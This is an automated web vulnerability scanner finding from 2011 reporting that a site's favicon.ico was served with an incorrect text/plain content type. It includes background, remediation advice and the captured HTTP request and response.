The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /favicon.ico HTTP/1.1
Host: wiki.answers.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.94 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=5pce097jgmrc57a98lv68kt2e5; 5pce097jgmrc57a98lv68kt2e5=n%3A0%3A%7B%7D; activeRadio=all; __utmz=31541870.1297445883.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=31541870.807314955.1297445883.1297445883.1297445883.1; __utmc=31541870; __utmb=31541870.1.10.1297445883; WSS_GW=V1z%B^@CCQiBC; CTG=1297445824; __qca=P0-801753685-1297445887007

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Sun, 06 Sep 2009 09:30:51 GMT
Content-Type: text/plain; charset=UTF-8
Date: Fri, 11 Feb 2011 17:37:12 GMT
X-Varnish: 1119737166 1068948234
Age: 290965
Via: 1.1 varnish
Connection: Keep-Alive
Expires: Tue, 16 Jan 2001 00:00:00 GMT
Cache-Control: private, must-revalidate, s-maxage=0, max-age=0
Vary: Accept-Encoding
Content-Length: 1150

............ .h.......(....... ..... ............................................+...........................A...............................~..........................................................
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Fri Feb 11 11:52:44 CST 2011.